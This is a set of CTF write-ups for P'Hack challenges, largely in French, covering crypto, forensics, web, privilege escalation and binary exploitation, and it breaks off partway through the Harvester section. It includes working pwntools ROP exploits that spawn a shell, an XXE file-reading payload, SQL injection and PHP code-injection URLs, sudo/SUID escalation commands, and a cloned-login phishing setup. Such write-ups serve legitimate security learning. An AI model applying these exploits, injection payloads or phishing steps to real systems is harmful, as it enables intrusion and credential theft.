Flag: PHACK{M4zEs_4Re_7rUly_4m@zIng}
Ben & Harry - 128 points
Problème
Ben vient de découvrir un drôle de serveur qui semble envoyer des suites de chiffres aléatoires.
Harry est sûr que ça doit vouloir dire quelque chose.
Prouve que Harry a raison.
=== Connexion ===
Serveur : ben-and-harry.phack.fr
Port : 1664
Résolution
En se connectant pour la première fois au serveur, voici ce qu'on obtient:
$ nc ben-and-harry.phack.fr 1664
{"b": 11, "code": "78 a0 2a 90 95 44 90 44 99 48 a6 2a 90 44 a0 a6 a4 47 2a 99 47 2a 93 99 48 94 40 2a 91 47 5a 99 58", "msg": "Answer me!"}
>>>
Au début, je pensais que nous avions la main sur un interpréteur Python, mais taper n'importe quoi m'a fait mentir (et perdre la main):
>>> print(1)
✞ Nope, wrong answer...
En regardant le message donné, il n'est pas très compliqué de comprendre qu'il faut décoder la valeur de "code" avec la base "b", et un "msg" inutile. Voici un script possible en Python:
from pwn import *
import json
conn = remote("ben-and-harry.phack.fr", 1664)
while r := conn.recvline():
print("[RECEIVED] ", r)
try:
r = r.decode("utf-8")
if r.startswith(">>>"): # Si ce n'est pas le premier, on doit découper le début
r = json.loads(r[3:])
else:
r = json.loads(r)
res = ""
for char in r["code"].split(): # Pour chaque caractère
res += chr(int(char, r["b"]))
print(res)
print();print() # Saute des lignes
conn.send(bytes(res, "utf-8"))
except Exception as e:
if "PHACK{" in r: print("BINGO!!! FLAG:", r)
exit(0)
Flag: PHACK{Av3z-v0us-L3s-b4s3s?}
Quick Response Code - 128 points
Problème
Philippe XXXIV, roi de Macédoine et descendant de Philippe II, souhaiterais cacher son mot de passe sur son ordinateur pour éviter qu'on puisse facilement lui dérober. Mais pas question pour Philippe d'utiliser un gestionnaire de mot de passe (qui serait digne de garder le précieux mot de passe d'un roi après tout ?). Il décide donc d'appliquer le célèbre principe de son arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-grand-père : diviser pour mieux... enfin vous avez compris.
Résolution
En décompressant l'archive, on obtient un dossier avec près de 2000 codes QR... Vu la quantité d'images, on ne peut pas tout scanner à la main. Ma première approche a été de penser qu'un seul code contenait le flag, et donc voici ma première tentative:
from glob import iglob
from PIL import Image
from pyzbar.pyzbar import decode
for filepath in iglob("./out/*.png"):
decoded = decode(Image.open(filepath))[0][0]
if "PHACK{" in str(decoded):
print(f"Données: {decoded} \nChemin: {filepath}")
Or, rien ne sort... Donc le flag n'est pas dans une seule image, mais peut-être dans plusieurs. J'ai donc ensuite décidé d'imprimmer chaque "decoded" à chaque itération, et dans les premières images, on trouve:
...
b'Nothing here (id = 0xbbe6e6d923ca40da91eef6aebfaa6331)'
b'Nothing here (id = 0x23dfffe762be47098abe11d250fcf409)'
b'Nothing here (id = 0xff8e269ec7a749ce9dbeae198d4aef15)'
b'Flag char 1 is "H" (id = 0x52e5067410b140aaba159ab3f589d9dc)'
b'Nothing here (id = 0xaeb605c2eab14e5380f5fb72b3d449b7)'
b'Nothing here (id = 0x364bab3371654dd1aacbdcce64da55b5)'
b'Nothing here (id = 0x62c9411324f34f7d874de30ab8126d78)'
...
Le flag semble être donné par caractère. J'ai décidé de le faire rapidement, à défaut d'être propre:
from glob import iglob
from PIL import Image
from pyzbar.pyzbar import decode
FLAG = [0]*100
for filepath in iglob("./out/*.png"):
decoded = decode(Image.open(filepath))[0][0]
if "Flag" in str(decoded):
idx = int(decoded.split()[2])
char = chr(decoded.split()[4][1])
# print(idx, char)
FLAG[idx] = char
print("".join(str(e)for e in FLAG))
$ python3 solve.py
PHACK{MaaaYb3_Th1s_Waas_Overk1lL?!}00000000000000000000000000000000000000000000000000000000000000000
Flag: PHACK{MaaaYb3_Th1s_Waas_Overk1lL?!}
WikiBot - 256 points
Quand on lui envoie des messages (en privé), le bot nous permet de participer à un quiz (en répondant plusieurs fois "yes" à ses questions pour lancer celui-ci). Il s'agit comme il le dit lui-même de diverses questions simples sur des personnes connues et dont on peut trouver la réponse par une simple recherche Google de la question. Néanmoins nous ne disposons que de 3 secondes pour répondre correctement à celles-ci. En essayant le quiz quelques fois, on se retrouve face aux mêmes questions assez vite, ce qui laisse penser que la liste de celles-ci est définie (elles ne sont pas créées à la volée) et assez courte (une petite dizaine).
J'ai alors créé un selfbot (sur un nouveau compte Discord) répondant aux questions par la réponse qu'il connaît quand il détecte celles-ci, et, après 6 bonnes réponses de suite, le bot nous donne le flag
import discord
from discord.ext.commands import Bot
from discord.ext import commands
import asyncio
TOKEN = ""
bot = Bot(command_prefix = "!!!")
answers = {
"Barack Obama" : "08/04/1961",
"nationality of Gal Gadot" : "Israeli",
"best CTF event": "P'HackCTF",
"birthplace of Daniel Ricciardo" : "Perth",
"How old is Omar Sy" : "43",
"What is the full name of birth of Billie Eilish" : "Billie Eilish Pirate Baird O'Connell"
}
@bot.event
async def on_ready():
print("BOT READY")
@bot.event
async def on_message(msg):
if msg.author.id == 819936988634808340 and "**Question" in msg.content:
for i in answers:
if i in msg.content:
await msg.channel.send(answers[i])
break
else:
pass
bot.run(TOKEN, bot = False)
Le challenge voulait probablement nous faire automatiser l'obtention de la réponse but it just works.
Agent Secrétariat - 256 points
En cherchant un petit peu on trouve le profil Linkedin de la cible. On peut remarquer son adresse email, ainsi que diverses choses potentiellement intéressantes pour la duper (un potentiel amour pour les chiens, sa recherche d'un emploi combiné à ses compétences et sa localisation...).
Mais nous voulons lui soustraire des informations relatives à P'Hack, où elle est d'ailleurs "Directrice-fondatrice".
J'ai alors pris le parti d'imiter l'interface de login https://ctf.phack.fr/login. Pour ce faire j'ai utilisé le Social Engineer Toolkit que j'ai découvert au passage, et plus précisément sa fonctionnalité "Clone website", que j'ai utilisée en suivant un gentil article Medium après l'avoir installé.
En guise d'IP où faire tourner notre clone, si l'on ne dispose pas d'un VPS ou d'un NAT on peut gratuitement utiliser ngrok qui en faisant simplement ./ngrok 80
après avoir lié un compte nous offre une adresse.
Après avoir vérifié que le clone marche correctement (on arrive bien directement sur la bonne page (pour ce faire il faut rajouter le /index2.html
ou sinon Jessica arrivera sur une redirection douteuse) et les noms d'utilisateur et mdp qu'on y rentre nous sont bien envoyés), il ne nous reste plus qu'à envoyer un mail à Jessica avec le lien de notre faux login en justifiant son utilisation et la connexion qui suit.
J'ai personnellement pris le parti du travail sur le site dont un stagiaire demande des retours, et ai envoyé le mail suivant, avec une nouvelle adresse pour l'occasion :
Une fois les admins éveillés et cléments, Jessica nous envoya bien son nom d'utilisateur, et son mot de passe qui était le flag.
Aliens - 256 points
Problème
Enfiiiiin!! Nous avons finalement reçu une réponse à nos signaux intergalactiques. Un son a été capté et enregistré venant de l'espace. C'est sûr ça doit vouloir dire quelque chose.
Résolution
Ce challenge a réellement pris 30 secondes, c'est un challenge très classique en stéganographie quand il s'agit d'un .wav et qu'il ne donne pas beaucoup de points: le spectrogramme. Pour observer le spectrogramme d'un fichier son, il suffit de l'importer dans son logiciel favoris comme ici Audacity et de cliquer ici:
Ce qui nous donne:
30 secondes chrono!
Flag: PHACK{i7_s0uNds_lik3_w3jd3N3}
Alter Egg-o - 256 points
Le fichier (un PNG) est apparemment corrompu, si on y jette un coup d'oeil dans un éditeur de texte les headers (IHDR, IEND...) ont l'air épargnés, le seul problème flagrant est le début du fichier qui n'arbore pas la signature de tous les fichiers PNG : 89 50 4E 47 0D 0A 1A 0A (dont les 2e à 4e octets sont notamment 'PNG').
En remplaçant correctement ces 4 premiers octets (89 50 4E 47), le fichier peut être lu correctement et il s'agit du flag par dessus une image.
Caumunikassion - 128 points
Le site de l'épreuve est le site du CTF, en supposant qu'on ne regarde que la page d'accueil notre intérêt se porte sur le glitch de la date et le logo. Un rapide coup d'oeil au code-source (dans les sources JavaScript de la page) du glitch nous fait comprendre que celui-ci est aléatoire. Reste l'image.
En commentaire dans ses données Exif (vues avec exiftool
) est un url pastebin, sur lequel on trouve le flag.
Chasse aux oeufs - 128 points
La couleur en hexadécimal d'un oeuf donne une partie du flag, et leur ordre est donné par les numéros des oeufs.
Strong Daddy - 128 points
On reconnaît la phraséologie de l'aviation.
Chaque mot correspond à une lettre, qui plus est sa première lettre.
Après ce passage on obtient un texte similaire et on applique la même méthode à nouveau, à l'exception de "ACCOLADE GAUCHE/DROITE" qui signifient {/} et des chiffres qui sont ... des chiffres.
Ce faisant on obtient finalement le flag.
un bon challenge de cryptographie
Une douce petite musique - 256 points
Problème
Avec vos talents de hacker vous interceptez un échange plutôt louche.
Résolution
Ce challenge était très simple, mais nous a demandé beaucoup de temps... La première étape est plutôt évidente, puisqu'en ouvrant les deux fichiers mails, on remarque directement des grosses parties de base64 avec des noms de fichiers adjacents: "musique.mid" et "audio.ods". On peut récupérer les deux fichiers soit en ouvrant les fichiers dans une boîte mail comme Thunderbird, soit en transformant les base64 en fichier avec n'importe quel outil en ligne (ma solution, car plus rapide). Voici à quoi ressemble le tableur:
Nous avons ensuite ouvert le fichier midi dans le premier site qui prétendait pouvoir le faire, et voici un extrait de ce que nous pouvons voir:
Bien que je ne l'ai pas vu tout de suite, les notes indiques des positions dans le tableur, qui est lui-même une table de correspondances avec les lettres qu'il contient. La seule fourberie était de remarque que les numéros après les notes devait être décrémentés de 3 unités. Par exemple pour la première note G4, on obtient G1 en faisant notre petite opération et on remarque la case G1 dans le tableur est "P". Si on répète cette technique sur les six premières lettres, on obtient "PHACK{". Il aurait été possible d'automatiser la conversion pour toutes les notes, mais j'ai préféré le faire à la main et vu que les notes se répétaient souvent, c'est allé assez vite.
Flag: PHACK{_ALLUMER_LE_FEU_ALLUMER_LE_FEU_ET_FAIRE_DANSER_LES_DIABLES_ET_LES_DIEUX_ALLUMER_LE_FEU_ALLUMER_LE_FEU_ET_VOIR_GRANDIR_LA_FLAMME_DANS_VOS_YEUX_ALLUMER_LE_FEU_}
Sudoku - 128 points
Le nom du challenge, et ses tags, laissent savoir que celui-ci porte sur sudo
. Une fois connecté par ssh, sudo -l
nous informe que nous pouvons utiliser zip
en tant que master
auquel le fichier cible est lisible.
On peut donc zip le fichier en question en tant que master : sudo -u master zip archive ../master/flag.txt
.
On peut ensuite lire le flag directement dans le zip.
To B, or ! to B - 128 points
Problème
Votre client vous remercie pour votre travail et vous assure qu'il a fait les modifications nécessaires pour améliorer la sécurité de son serveur applicatif.
Prouvez-lui que ce n'est toujours pas suffisant.
=== Connexion SSH ===
Login : padawan
Mdp : padawan
Serveur : toBOrNot2B.phack.fr
Résolution
En arrivant sur le serveur, voici ce qui nous est envoyé:
Bienvenue !
Le flag se trouve dans /home/master/flag.txt
Malheureusement, tu n'as pas les droits de le lire.
Trouves un moyen d'y accéder par toi même.
Bonne chance...
-bash-5.1$
Le challenge porte le tag suid
. Il s'agit probablement d'une escalation de privilèges vers master
ou plus.
On cherche les fichiers avec le bit SUID : find / -perm /4000 2> /dev/null
. Le seul résultat est python3
, qui nous permet d'exécuter du Python en tant que master
.
Reste à l'utiliser pour lire le flag :
-bash-5.1$ cd ../master/
-bash-5.1$ python3 -c "with open('./flag.txt','r') as f: print(f.read())"
PHACK{U_4r3_hiM_bu7_h3's_n07_U}
Flag: PHACK{U_4r3_hiM_bu7_h3's_n07_U}
Sudoku v2 - 256 points
Le challenge et le note.txt
nous informent des astérisques affichés lors de l'usage de sudo, dont on peut effectivement confirmer la présence en essayant. Un des tags du challenge est cve
, Common Vulnerability Exposure, soient les vulnérabilités affectant un nombre conséquent de services et dont on garde donc trace. Avec sudo -V
on obtient la version de sudo
sur la machine.
Avec cette information on peut chercher une CVE possible sur Google exploit-db parlant des astérisques et on trouve finalement la CVE-2019-18634 qui dispose même déjà d'un exploit tout prêt, dont les dépendances (socat
) sont déjà sur la machine, bref le bonheur.
On télécharge l'exploit et on l'exécute, et en quelques secondes on dispose d'un shell root, ce qui est plus que suffisant pour lire le flag.
Graduated - 256 points
Après s'être connecté via ssh on remarque diverses choses:
graduation.db
constitue une base de données SQLite, dont on pourra éventuellement lire en clair les informations.
integrator.log
nous informe du fonctionnement du système :
-bash-5.1$ head -n 20 integrator.log
02/04/2021 09:33:01 [+] Lancement de l'intégration
02/04/2021 09:33:01 [+] Création de la base de données.
02/04/2021 09:33:01 [+] Analye des fichiers dans "/home/teacher/evaluations/".
02/04/2021 09:33:01 [+] Fichier "eval.xml" en cours d'analyse.
02/04/2021 09:33:01 [+] Nouvelle évaluation ajoutée.
02/04/2021 09:33:01 [+] Fichier "eval.xml" analysé.
02/04/2021 09:33:01 [+] Intégration terminée
02/04/2021 09:34:01 [+] Lancement de l'intégration
02/04/2021 09:34:01 [+] Analye des fichiers dans "/home/teacher/evaluations/".
02/04/2021 09:34:01 [+] Intégration terminée
02/04/2021 09:35:01 [+] Lancement de l'intégration
02/04/2021 09:35:01 [+] Analye des fichiers dans "/home/teacher/evaluations/".
02/04/2021 09:35:01 [+] Intégration terminée
02/04/2021 09:36:01 [+] Lancement de l'intégration
On en déduit ainsi que toutes les minutes, un script analyse les nouveaux XML dans /home/teacher/evaluations/
, où nous avons droit d'écriture étant connecté comme teacher
, et après les avoir parsé les place très probablement dans la BDD SQLite où on retrouve les informations de eval.xml
.
Le script réalisant cette intégration est integrator.py
, lancé périodiquement via une crontab
. Malheureusement nous n'avons pas les droits de lecture de celui-ci. Sans donc pouvoir en être certains, on peut suspecter une vulnérabilité XXE
dans le parser XML du script, qu'on pourrait utiliser pour lire des fichiers avec ses privilèges.
On place donc un XML malicieux dans le dossier analysé périodiquement, en se basant sur le template gentiment fourni pour ne pas avoir de problèmes avec la BDD :
echo '<?xml version="1.0" encoding="utf-8"?>
> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///home/rector/flag.txt"> ]>
>
> <evaluation>
> <student>
> <firstname>Xavier</firstname>
> <lastname>DUPONT DE L</lastname>
> </student>
> <grade>15</grade>
> <subject>Biologie</subject>
> <teacher>
> <firstname>Emile</firstname>
> <lastname>LOUIS</lastname>
> </teacher>
> <comment>&ent;</comment>
> </evaluation>
> ' > evaluations/TEST1.xml
Après avoir constaté l'analyse de notre XML dans integrator.log
, on peut lire le flag dans la BDD avec cat graduation.db
.
Hello World - 32 points
On suit les instructions du challenge jusqu'à atteindre le flag : à chaque étape on a un stepI-XXXXXX.php qui est l'étape suivante.
La plupart se fait aisément en utilisant les outils de développeur sur un navigateur comme Firefox ou Chrome.
Pour crack le hash MD5 on peut utiliser crackstation et pour décoder du Base64 on peut par exemple faire echo "base64" | base64 -d
dans un shell.
Wall-E - 64 points
Le challenge porte le nom d'un robot, on pense à regarder /robots.txt.
User-Agent: WallEbot
Allow: /index.html
Disallow: /8059dd56-3bfb-11eb-adc1-0242ac120002/nothing-here.txt
il y a bien une route intéressante et celle-ci donne le flag.
VOD - 256 points
L'adresse .onion indique que l'on doit utiliser le réseau Tor. Pour la simplicité j'ai commencé par (et n'ai finalement utilisé que cela) Tor Browser, soit Firefox pour Tor.
Quand on arrive sur le bon site (et pas ce que regarde les vieux monsieurs la nuit sur certains canaux de la TNT) on est face à une liste de produits, ici des services de VOD, sur lesquels on obtient plus d'informations en cliquant, ce qui nous amène au même url mais avec ?id=n
.
Il peut s'agir d'une base de données et derrière d'une injection SQL, ce qui est confirmé en ajoutant une simple apostrophe '
après le chiffre.
On obtient alors une erreur mentionnant l'utilisation de data_seek
dans ce qui est un fichier PHP.
La documentation nous dit alors qu'il s'agit de MySQL.
À partir de là on doit pouvoir utiliser sqlmap
même à travers Tor mais j'ai simplement suivi des étapes analogues à celles de PayloadsAllTheThings pour les injections MySQL :
http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=0%27%20UNION%20SELECT%201,2,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata%20--+
donne les BDD : |information_schema|,|vod|
http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=0%27%20UNION%20SELECT%201,2,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=%22vod%22%20--+
donne les tables de la BDD vod
: |platform|,|s3cr3t|
http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=0%27%20UNION%20SELECT%201,2,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=%22s3cr3t%22%20--+
donne les fields de la table s3cr3t : |id|,|flag|
Reste à prendre flag dans la table s3cr3t : http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=0%27%20UNION%20SELECT%201,2,flag%20from%20s3cr3t%20--+
Fuzz Me - 128 points
challenge web de fuzzing.
en inspectant la page, on trouve un endpoint /api/login
. On a donc une api à explorer.
avec gobuster, on trouve /api/sessions
et /api/user
.
/api/sessions
:
{"sessions":
0 "eyJ1c2VyIjogIjY1YTlmYzRjLWIwNDYtNDE3OS1iMDE5LTdlMDcxZDFjZTc5ZiIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIitBSEc5NUZKeHRzNGoxNFJuTHdxaEE9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfmI0ifQ=="
1 "eyJ1c2VyIjogIjkwNjhjY2ZmLTBkOTgtNGViNS1iMjdkLTQyZDcwZTQyYmRkZCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIkkvS3M1clg0SGJSb2hhbm9pc1lUOXc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfpoQifQ=="
2 "eyJ1c2VyIjogImIwZWU5YjNjLTdkNjMtNDQwZi05ZDcyLWM3NTg2ODZiMDVlNCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIjYwY3k4bUJrM3luOFNhRisvSGVhUHc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfkp0ifQ=="
3 "eyJ1c2VyIjogIjEzYTE0NTExLTc3NzktNDJmNS04MjliLTc1OTc3MzRjODc0YyIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIjRVQWljczZ3TzkvVzM3Qjd2Q0NQT3c9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfmYsifQ=="
4 "eyJ1c2VyIjogIjg3MmUwYTQxLTk5ZTUtNGU3Ni1hNWU3LTk2MDkzNzU3ZmE4MSIsICJpc0FkbWluIiA6IHRydWUsICJ3ZWlyZF9zdHVmZiIgOiAiU1NCaGJTQjBhR1VnWVdSdGFXNGdJUT09IiwgImhhcHB5X3NtaWxleSIgOiAi8J+RqOKAjfCfjbMifQ=="
5 "eyJ1c2VyIjogIjk2OGYyZTlkLTI3YzEtNDUwMy05NzM5LTNiMWM4NjMwNjU2NCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIllOK1pWNWxTMkZTNjlaMmhmd1RaT3c9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfjIgifQ=="
6 "eyJ1c2VyIjogIjViNTgwMDcyLTM2YzAtNDU0Yi04NThiLTVmZmJjOTRiNjgyNSIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIkZkNWlPVU9qMDJrZmU0aDMyOGplNHc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfkoMifQ=="}
Encodé en base64, en décodant, on obtient:
b'{"user": "65a9fc4c-b046-4179-b019-7e071d1ce79f", "isAdmin" : false, "weird_stuff" : "+AHG95FJxts4j14RnLwqhA==", "happy_smiley" : "\xf0\x9f\x98\x8d"}'
b'{"user": "9068ccff-0d98-4eb5-b27d-42d70e42bddd", "isAdmin" : false, "weird_stuff" : "I/Ks5rX4HbRohanoisYT9w==", "happy_smiley" : "\xf0\x9f\xa6\x84"}'
b'{"user": "b0ee9b3c-7d63-440f-9d72-c758686b05e4", "isAdmin" : false, "weird_stuff" : "60cy8mBk3yn8SaF+/HeaPw==", "happy_smiley" : "\xf0\x9f\x92\x9d"}'
b'{"user": "13a14511-7779-42f5-829b-7597734c874c", "isAdmin" : false, "weird_stuff" : "4UAics6wO9/W37B7vCCPOw==", "happy_smiley" : "\xf0\x9f\x99\x8b"}'
b'{"user": "872e0a41-99e5-4e76-a5e7-96093757fa81", "isAdmin" : true, "weird_stuff" : "SSBhbSB0aGUgYWRtaW4gIQ==", "happy_smiley" : "\xf0\x9f\x91\xa8\xe2\x80\x8d\xf0\x9f\x8d\xb3"}'
b'{"user": "968f2e9d-27c1-4503-9739-3b1c86306564", "isAdmin" : false, "weird_stuff" : "YN+ZV5lS2FS69Z2hfwTZOw==", "happy_smiley" : "\xf0\x9f\x8c\x88"}'
b'{"user": "5b580072-36c0-454b-858b-5ffbc94b6825", "isAdmin" : false, "weird_stuff" : "Fd5iOUOj02kfe4h328je4w==", "happy_smiley" : "\xf0\x9f\x92\x83"}'
On a un utilisateur qui est admin. On va tenter de l'exploiter.
/api/user
:
{"error": "Paramètre manquant !"}
Comme les utilisateurs sont stockés sous forme d'UUID, on peut tester le paramètre ?uuid
.
curl "http://fuzz-me.phack.fr/api/user?uuid=872e0a41-99e5-4e76-a5e7-96093757fa81"
{"info": {"name" : "Biden", "firstname" : "Joe", "login" : "admin", "password" : "NeOIsTh3T4rget<3", "description":"Président, tout simplement."}}
En se connectant avec le login/password, on obtient finalement le flag.
Harduino - 256 points
On est face à une jolie interface qui fait afficher du texte sur une Arduino imaginaire.
En regardant les requêtes on constate que l'affichage est réalisé par une page PHP, dont l'url exact nous est d'ailleurs donné, ainsi que le code à l'accueil.
On constate de plus que l'argument url message
, qui constitue ce qui sera affiché, est passé, après se voir ajouter à l'avant et à l'arrière des guillemets à une regex finissant par /e
dans preg_replace
. La documentation PHP nous informe qu'il s'agit d'un modifier déprécié permettant d'utiliser du code PHP dans la regex.
On va donc ajouter des guillemets afin d'écrire du code qui sera évalué en tant que tel, lisant le flag, qu'on concaténe aux deux chaînes vides qu'on créé autour : ".file_get_contents('../../../../flag.txt')."
http://harduino.phack.fr/workspace/apps/arduino/arduino.php?message=%22.file_get_contents(%27../../../../flag.txt%27).%22
affiche lentement le flag sur l'écran LCD.
Pwn - Controller
The challenge gives us a file named controller
and the libc used. So we tell
pwntools to load them.
elf = ELF("controller")
elf_rop = ROP(elf)
libc = ELF("libc.so.6")
We need to find a vulnerability, so first thing we do is disassemble the
controller
executable and search for any weird code.
Inside the calculator
function we can find the usage of a scanf using the
"%s" formatter to some address on the stack. This means that we can write as
much data as we want, this allows us to rewrite the stack frames to execute
the functions we want.
To access this overflow we need to go through the report problem section of the program.
This part is accessible if we somehow find an operation with two numbers below
or equal to 0x45
that gives us 65338
. If any of these two number is above
it gives us an error "We cannot use these many resources at once"
and exits.
A scanf with the "%d"
formatter is used to retrieve both numbers. This allows
us to pass negative numbers.
So here comes the hardest maths of the whole ctf (including the crypto challenges).
We will use a multiplication and we need to find a
and b
both under 70
that when multiplied together gives 65338
so here is our difficult computation
-32669 * -2 = 65338
.
Now that we answered this difficult math question, we navigate the menus until we are asked for this payload.
def prepare_overflow():
conn.recvuntil("Insert the amount of 2 different types of recources: ")
# Choose the two magic numbers
conn.sendline("-32669 -2")
conn.recvuntil("> ")
# Choose to do a multiplication
conn.sendline("3")
conn.recvuntil("> ")
The scanf starts at [rbp - 0x28] so we need to fill the start of the payload with 0x28 garbage bytes.
offset_overflow = b"A" * (0x28)
The first thing we need to do is to retrieve to libc base address. This allows
us to return to any function on the libc (ret2libc). This means that we can
return to a function such as system
and execute a shell.
def retrieve_libc_base():
with log.progress("retrieving libc base") as progress:
# The payload will consist of the beginning garbage bytes then we will
# leak the value of the `puts` function on the global offset table.
# To do this we'll to load the address from where to print in the `rdi`
# register (which is the first argument) so we use a gadget that will
# pop the next value from the stack.
progress.status("forging rop")
rop = offset_overflow
rop += p64(elf_rop.find_gadget(['pop rdi', 'ret']).address)
rop += p64(elf.got["puts"])
# Then once the value we want is loaded into `rdi` we can return to the
# puts function to print the value.
rop += p64(elf.plt["puts"])
# Finally we return to main to continue the execution with a known libc
# address.
rop += p64(elf.symbols["main"])
progress.status("waiting for overflow preparation")
prepare_overflow()
progress.status("sending overflow")
conn.sendline(rop)
conn.recvline()
# Now we retrieve the bytes that were written with `puts`.
# We then remove the offset of the `puts` symbol inside the libc and we
# now know the libc base address.
progress.status("calculating libc base address")
leak = conn.recvline().strip()
leak = u64(leak.ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"]
Now that we know the libc base address, we need to open a shell to be able to print the flag.
def retrieve_shell():
with log.progress("retrieving a shell") as progress:
# This time the rop will consist of a similar thing, loading the address
# of the "/bin/sh" string into the `rdi` register.
# We can search for this string inside the libc.
progress.status("forging rop")
rop = offset_overflow
rop += p64(elf_rop.find_gadget(['ret']))
rop += p64(elf_rop.find_gadget(['pop rdi', 'ret']).address)
rop += p64(next(libc.search(b"/bin/sh")))
# Now that the command is loaded, we continue by returning to the
# `system` function.
rop += p64(libc.sym["system"])
# And finally we gracefully exit.
rop += p64(libc.sym["exit"])
progress.status("waiting for overflow preparation")
prepare_overflow()
progress.status("sending overflow")
conn.sendline(rop)
conn.recvline()
And finally, let's put all of this together and cat this flag!
retrieve_libc_base()
retrieve_shell()
conn.sendline("cat flag.txt")
log.success(conn.recvlineS())
Pwn - Minefield
For this challenge we don't have the libc so first thing we do is to disassemble the program to know what it does.
This one doesn't do a lot, it's not a buffer overflow or something like this. All it does is write what we want where we want.
First thing we need to do is navigate through the menus to plant the value we want.
progress.status("choose to plant a mine");
conn.recvlines(3)
conn.sendline('2')
Here it asks us what type of mine we want to plant but in reality it's
where we want to set the value.
One good candidate is where is stored the function that runs destructors
at the end of the program, the value of this function is stored behind
the __do_global_dtors_aux_fini_array_entry
symbol.
progress.status("choose where to plant the mine")
conn.recvuntil("Insert type of mine: ")
conn.sendline('0x%x' % elf.symbols["__do_global_dtors_aux_fini_array_entry"])
Next we need to set the value we want, so what we'll send is the address
of the function we wish to execute.
By disassembling the binary we can find a function named _
that will
print the flag to us, so here's our win function.
progress.status("choose what value to set the mine")
conn.recvuntil("Insert location to plant: ")
conn.sendline('0x%x' % elf.symbols["_"])
Now the bomb as been planted and we've the flag!
Pwn - System dROP
The name of this challenge gives us a big hint. It's talking about a ROP. Unfortunately for the price of this hint we don't know which libc is being used, so returning on a specific function of the libc is going to be hard.
By analysing the binary we find a main function which does a buffer overflow and
then returns 1.
This is really useful because it means when we'll start the rop, 1 will be
loaded inside the rax
register.
And this is great because we can find a function named _syscall
that
finishes with a syscall
instruction then a ret
.
Because the rax
register will be set to 1
, we can do a write syscall.
This will allow us to leak got entries.
def leak_got(entry):
with log.progress("leaking got entry for %s" % entry) as progress:
progress.status("forging rop")
# Here we feed the overflow with garbage bytes until the return address.
rop = b"A" * 0x28
# Here we found a `pop rsi` instruction, followed by another `pop` and
# finished with `ret`.
# `rsi` is the second argument, so it's the address from where we want
# to leak data.
rop += p64(elf_rop.find_gadget(["pop rsi"]).address)
rop += p64(elf.got[entry])
rop += p64(0)
# Setting the length of the `write` is not necessary because we keep the
# length set for the read function.
# Then we return to the `syscall` instruction
rop += p64(0x0040053b)
# And finally we restart to the main function
rop += p64(elf.symbols["main"])
progress.status("sending rop")
conn.send(rop)
progress.status("computing leak address")
return u64(conn.recv(0x100)[:0x8])
Now that we can leak entries from the got table, we will leak two functions this way we can determine which libc is being used.
leak_main = leak_got("__libc_start_main")
leak_read = leak_got("read")
log.info("Leak __libc_start_main %x" % leak_main)
log.info("Leak read %x" % leak_read)
Once we've the address of __libc_start_main
and read
we can use a website
like libc.blukat.me to find the libc currenly used.
This gives us the following libc.
All we know need is to set its base address using symbols we leaked.
libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")
libc.address = leak_read - libc.symbols["read"]
Finally we'll retrieve a shell, for this a simple rop to load the "/bin/sh"
string inside the rdi
register and then return to the system function.
rop = b"A" * 0x28
rop += p64(elf_rop.find_gadget(['ret']).address)
rop += p64(elf_rop.find_gadget(["pop rdi", "ret"]).address)
rop += p64(next(libc.search(b"/bin/sh")))
rop += p64(libc.sym["system"])
rop += p64(libc.sym["exit"])
conn.send(rop)
Now that we have a shell, all we need is to cat the flag!
conn.sendline("cat flag.txt")
log.success(conn.recvlineS())
Pwn - Harvester
This challenge is harder than the two others, first thing it's a PIE. And it's full of canaries, so if we find a buffer overflow we'll need to set it to the correct value.
By exploring the binary we find two vulnerabilities.
- The first one is format string vulnerability inside the
fight
function. - The second is a buffer overflow inside the
stare
function just large enough to overwrite one return address.
We can trigger the fight
vulnerability when we want, but the stare
one is
only available if we have a specific amount of pie on us.
Instead of farming pies, we found a logic bug inside the inventory
function
that allows us to drop a negative amount of pies.
So first thing to do is to leak some values from the stack, for this we did this function.
def format_exploit(progress, index):
progress.status("selecting menu fight")
select_menu('1')
progress.status("selecting weapon format string attack")
conn.recvuntil('> ')
conn.send(b'%%%d$p' % index);
conn.recvuntil(b"Your choice is: ")
progress.status("computing value")
value = conn.recvline()
value = value[:len(value) - 8]
value = 0 if value == b"(nil)" else int(value, 16)
return value
The first thing we want to retrieve is the canary to not trigger the overflow check failure.
def retrieve_canary():
with log.progress("retrieving canary") as progress:
return format_exploit(progress, 11)
The second thing we need to retrieve is the libc base address. To do this we can
go through the stack to find return addresses, until we find the main return
address, we can continue and we see where does the main function returns inside
the __libc_start_main
function. Meaning we've an address and can easily find
the offset so we know the libc base address.
def retrieve_libc_base_address():
with log.progress("retrieving libc base address") as progress:
